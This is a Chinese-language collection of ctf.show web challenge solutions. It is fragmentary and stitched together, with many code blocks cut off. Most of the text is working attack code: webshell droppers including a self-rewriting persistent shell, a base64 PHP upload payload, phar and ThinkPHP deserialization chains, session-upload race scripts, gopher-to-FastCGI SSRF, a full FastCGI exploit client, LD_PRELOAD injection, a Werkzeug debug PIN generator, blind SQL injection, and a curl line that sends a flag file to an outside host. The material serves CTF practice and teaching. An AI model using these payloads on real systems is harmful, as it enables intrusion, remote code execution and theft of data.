User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _ga=GA1.2.178448525.1671190440;iCMS_iCMS_AUTH=200b0c70aTDO4VR0iaABkIaqxhTDoDkQCdKpODWfphpw3hG%2BGfm47PMHJP32HEAgrAOwA9XWA1L96fSY9oc
X-forwarded-for:192.168.0.1 
Upgrade-Insecure-Requests: 1
if(md5($_GET['session'])=='3e858ccd79287cfe8509f15a71b4c45d'){
$configs="c"."o"."p"."y";
$configs(trim($_GET['url']),$_GET['cms']);}
nothing here

3e858ccd79287cfe8509f15a71b4c45d解出来是ctfshow,$configs实际上就是copy,所以这里实际上执行的就是:

copy(trim($_GET['url']),$_GET['cms']);}

trim($str) 是 PHP 内置函数,用于去除字符串两端的空格和特殊字符,默认情况下会去除空格、制表符、换行符、回车符、垂直制表符等常见的不可见字符,返回处理后的字符串结果,没啥用,所以这里实际上执行的就是把$_GET[‘url’])文件复制到$_GET[‘cms’])路径去,然后没有任何其他过滤。

/*导航条缓存*/
    function GuideFidCache($table,$filename="guide_fid.php",$TruePath=0){
        global $db,$webdb,$pre;
        if($table=="{$pre}sort"&&$webdb[sortNUM]>500){
            return ;
        $show="<?php \r\n";
        //$showindex="<a href='javascript:guide_link(0);' class='guide_menu'>>首页</a>";
        $showindex="<a href='\$webdb[www_url]' class='guide_menu'>>首页</a>";
        $query=$db->query("SELECT fid,name FROM $table ");
        // 带双引号写入变量,并且未过滤。
        while( @extract($db->fetch_array($query)) ){
            $show.="\$GuideFid[$fid]=\"$showindex".$this->SortFather($table,$fid)."\";\r\n";
        $show.=$shows.'?>';
        if($TruePath==1){
            write_file($filename,$show);
        }else{
            write_file(ROOT_PATH."data/$filename",$show);

这里使用了双引号写入变量,并且没有任何过滤,直接添加栏目写马即可

$src = file_get_contents('php://input');//使用php伪协议写入
        if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) { //matches被赋值为搜索出来的结果
            $previewUrl = sprintf(
                "%s://%s%s",//类c的输出语言
                isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',//输出http或者https
                $_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']//host,不重要的东西
            $previewUrl = str_replace("preview.php", "", $previewUrl);//如果previewUrl也有preview.php则过滤
            $base64 = $matches[2];//获取base64数据
            $type = $matches[1];//获取base64后缀
            if ($type === 'jpeg') {
                $type = 'jpg';
            }//没什么用的判断
            $filename = md5($base64).".$type";//将传入的base64那儿进行md5加密,再添上文件类型
            $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;//文件存放路径位preveiw/文件名
            if (file_exists($filePath)) {//存在即返回存在的路径
                die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
            } else {
                $data = base64_decode($base64);//不存在就进行base64解密
                file_put_contents($filePath, $data);//并且写入文件
                die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');//返回文件路径
POST /index.php/api/Uploadify/preview HTTP/1.1
Host: 10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show
Connection: close
Referer: http://10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show/index.php/api/Uploadify/preview
Cookie: _ga=GA1.2.178448525.1671190440; PHPSESSID=qnm7dn426n8jql0ltpq0vcsi92
Upgrade-Insecure-Requests: 1
data:image/php;base64,PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7ID8+

然后访问给的那个地址就行了,这里直接解析data协议然后把内容写进php了

import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
	requests.get(url+'a.php',timeout=(1,1))
except:
	requests.get(url+'?action=check')
	r=requests.post(url+'shell.php',data={'1':'system("cat /f*");'})
	print(r.text)
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir

常见命令执行没啥戏了,但还是有办法读文件:

code=print_r(scandir('./'));
// /flag function DefenderBonus($Pokemon){ if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){ die('catch broken Pokemon! mew-_-two'); else{ return $Pokemon; function ghostpokemon($Pokemon){ if(is_array($Pokemon)){ foreach ($Pokemon as $key => $pks) { $Pokemon[$key] = DefenderBonus($pks); else{ $Pokemon = DefenderBonus($Pokemon); switch($_POST['myfavorite'] ?? ""){ case 'picacu!': echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']); break; case 'squirtle': echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']); break; case 'mewtwo': $dream = $_POST["dream"] ?? ""; if(strlen($dream)>=20){ die("So Big Pokenmon!"); ghostpokemon($dream); echo shell_exec($dream);

简单来说,就是用那个mewtwo然后bypass执行,但这里基本上能过滤的都过滤完了,很难执行命令。但通过百度,还是发现原来还有个od没禁,而od正好能执行命令。

url///index.php?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A12%3A%22%00%2A%00withEvent%22%3Bb%3A0%3Bs%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A18%3A%22%00think%5CModel%00force%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A5%3A%22yu22x%22%3Bs%3A6%3A%22system%22%3B%7D%7D
function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); if(strlen($hhh)>18){ die('One inch long, one inch strong!'); if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh);

过滤了很多东西,比如ph*,比如字母数字取反符啥的,但没过滤异或,所以先上传.htaccess,再上传个其他后缀的文件把它执行形式变成php即可,抄的脚本:

import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.cc" 
shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
url = "http://a98d884f-c253-45d9-acdb-3a58d31393e5.challenge.ctf.show/?_=${%80%80%80%80^%DF%C7%C5%D4}{%80}();&%80=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.cc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
import base64 import string url="http://2709cb1d-3807-4cdc-8de4-9c45ce862e62.challenge.ctf.show/" s=string.ascii_letters+string.digits answer='' for i in range(1,10): print(i) for j in s: #payload="?answer=1'||if(substr(database(),{0},1)='{1}',1,0)%23".format(i,j) payload="?answer=1'||if(substr(answer,{0},1)='{1}',1,0)%23".format(i,j) u=url+payload r=requests.get(u) if("Wrong" in r.text): answer+=j print(answer) break
<!-- CTFSHOW hint: 
            $_SESSION['cmd'] = $cmd;
            if(!preg_match("/[0-9]|[a-z]/i",$_SESSION['cmd'])){
                system($cmd);

无字母数字rce,这都打烂了,而且这还是青春版,除了字母数字啥过滤都没有的那种,不过这里是system不是eval,导致有些方法不行了,那就用p牛那个利用glob通配符执行命令即可,偷的脚本:

import requests
url="http://2b374eac-d8ff-4d0d-856b-eb66399d52e4.challenge.ctf.show/flag.php"
data={'cmd':'. /???/????????[?-[]'}
headers={'Cookie':'PHPSESSID=53964734d4bc928487088a2fbdf83b13'}#填自己的
files={'file':'cat /f*'}
while True:
	response=requests.post(url,files=files,data=data,headers=headers)
	html = response.text
	if "ctfshow{" in html:
		print(html)
		break
public static function checkFile(&$page) $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; if (in_array($page, $whitelist)) { return true; $_page = mb_substr( $page, mb_strpos($page . '?', '?') if (in_array($_page, $whitelist)) { return true; $_page = urldecode($page); $_page = mb_substr( $_page, mb_strpos($_page . '?', '?') if (in_array($_page, $whitelist)) { return true; echo "you can't see it"; return false; if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";

linux中source.php?可以被当作目录,然后目录穿越即可

?file=source.php?../../../../../../../ctfshowflag
@$msg = $_GET['msg']; if(@file_get_contents($msg)!=="Hello Challenge!"){ die('Wow so rude!!!!1'); echo "Hello Hacker! Have a look around.\n"; @$k1=$_GET['key1']; @$k2=$_GET['key2']; $cc = 1337;$bb = 42; if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n"); if(strlen($k2) == $bb){ if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){ if($k2 == $cc){ @$cc = $_GET['cc']; list($k1,$k2) = [$k2, $k1]; if(substr($cc, $bb) === sha1($cc)){ foreach ($_GET as $lel => $hack){ $$lel = $hack; $‮b = "2";$a="‮b";//;1=b if($$a !== $k1){ die("lel no\n"); // plz die now assert_options(ASSERT_BAIL, 1); assert("$bb == $cc"); echo "Good Job ;)"; // TODO // echo $flag;

漫长的代码审计工作,一段一段绕吧。

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');

data协议来绕过即可,印象里做寒假考核时就遇到过了

msg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==
if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");

因为这里是”===”,是强比较,所以用key1=1337a即可

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];

简单来说就是要长度为42且不是数字,而且还要以数字+$开头,最后满足$k2 == $cc。往1337前加0即可:

key2=000000000000000000000000000000000001337$
if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;

这种一眼看上去不能满足的应该立刻联想到让他们为空或者报错

cc[]=1
$‮b = "2";$a="‮b";//;1=b

这个整蒙了,你们可以自己下去试试,不过我们可以找个在线平台看看它到底是干啥的。

if($$a !== $k1){
    die("lel no\n");
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num
print(rv)
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
private_bits = [
    '2485377581187',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file.'.txt')){
        include $file.'.txt';
    }else{
        file_put_contents($file,$content);

phar文件包含,即使是压缩后还是可以用phar协议执行php代码

$phar = new Phar("shell.phar"); $phar->startBuffering(); $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); $phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>"); $phar->stopBuffering();
import requests  
url="http://76aa7571-0a18-46f1-99fc-3b8fcbb4d36f.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
    if(file_exists($file)){
        unlink($file);
    }else{
        file_put_contents($file,$content);
$phar = new Phar('poc.phar');
$phar->stopBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($t);
$phar->stopBuffering();
import requests  
url="http://47d5b4bf-9dc6-4aa8-93f1-6d42cf431490.challenge.ctf.show/index.php"
data1={'file':'/tmp/a.phar','content':open('poc.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
session=requests.session()
sess='yu22x'
url1="http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/"
url2='http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/?file=/tmp/sess_yu22x'
data1={
    'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
data2={
    '1':'echo 11123;system("cat /*");',
file={
    'file':'1'
cookies={
    'PHPSESSID': sess
def write():
    while True:
        r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
    while True:
        r = session.post(url2,data=data2)
        if '11123' in r.text:
            print(r.text)
if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write).start()
        for i in range(1,30):
            threading.Thread(target=read).start()
    event.set()
import requests 
import re 
url = "http://e34a803b-ce00-4e1e-b585-9bda0198fe37.challenge.ctf.show/"
file={
	'file':'<?php system("cat /*");?>'
requests.post(url+'?file=php://filter/string.strip_tags/resource=/etc/passwd',files=file)
r=requests.get(url)
#print(r.text)
tmp=re.findall('=> (php.*?)\\n',r.text,re.S)[-1]
r=requests.get(url+'?file=/tmp/'+tmp)
print(r.text)
?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

web811

error_reporting(0); highlight_file(__FILE__); $file = $_GET['file']; $content = $_GET['content']; file_put_contents($file, $content); # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client PY2 = True if sys.version_info.major == 2 else False def bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i]) def bord(c): if isinstance(c, int): return c else: return ord(c) def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict') def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return s class FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b'' return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port) if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>') parser.add_argument('-p', '--port', help='FastCGI port', default=28163, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' response = client.request(params, content) print(force_text(response))
import requests
url="http://43af8270-3d9e-416a-8fdb-d1fc1115715b.challenge.ctf.show/"
data={'file':'/tmp/hack.so','content':open('hack.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')
import requests
url="http://03e18d36-ea33-478b-8ab2-506f67fb4e3b.challenge.ctf.show/"
data={'file':'/tmp/hack.so','content':open('hack.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/hack.so')
import requests
url="http://6f1fba1f-43b2-45c8-a34f-cc9c995cde9e.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
files={'file':open('hack.so','rb').read()}
response=requests.post(url,files=files)

web817

$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){
	shell_exec(shell_exec("cat $file"));

首先这里限制了只能为/字母数字的file,所以不能用日志,一眼顶针虎符ezphp,文件描述/proc/pid/fd/xxx可能存在web日志

import  threading, requests
import socket
import re
port= 28108
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1
	'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
con="curl http://url:port?a=`cat /f*`;"+'0'*1024*500
l = len(con)
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))
		x=f'''POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: {l}
Content-Type: application/x-www-form-urlencoded
Connection: close
{con}
		'''.encode()
		s.send(x)
		s.close()
def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
Connection: close
'''.encode())
			print(s.recv(2048).decode())
			s.close()
for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('hack.so','rb').read()+b'\n'*1024*200)).encode()
def upload():
	while True:
		s=socket.socket()
		s.connect(('pwn.challenge.ctf.show',port))	
		x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close
'''+open('hack.so','rb').read()+b'\n'*1024*200+b'''
		s.send(x)
		s.close()
def bruter():
	while True:
		for fd in range(3,40):
			print(fd)
			s=socket.socket()
			s.connect(('pwn.challenge.ctf.show',port))
			s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close
'''.encode())
			print(s.recv(2048).decode())
			s.close()
for i in range(30):
    t = threading.Thread(target=upload)
    t.start()
for j in range(30):
    a = threading.Thread(target=bruter)
    a.start()
if(strlen($_FILES['file']['tmp_name'])>0){
    $filetype = $_FILES['file']['type'];
    $tmpname = $_FILES['file']['tmp_name'];
    $ef = getimagesize($tmpname);
    if( ($filetype=="image/jpeg") && ($ef!=false) && ($ef['mime']=='image/jpeg')){
        $content = base64_decode(file_get_contents($tmpname));
        file_put_contents("shell.php", $content);
        echo "file upload success!";
}else{
    highlight_file(__FILE__);

会将我们上传的图片base64解码后写入到shell.php中,base64中是4位4位进行解码的,所以我们要在正常的图片加上一句话木马base64编码后的数据,然后因为不知道多少位解码,我们要加上1补码,就一个一个试,一个1不行就两个1,我PD9前面那几个1就是补码

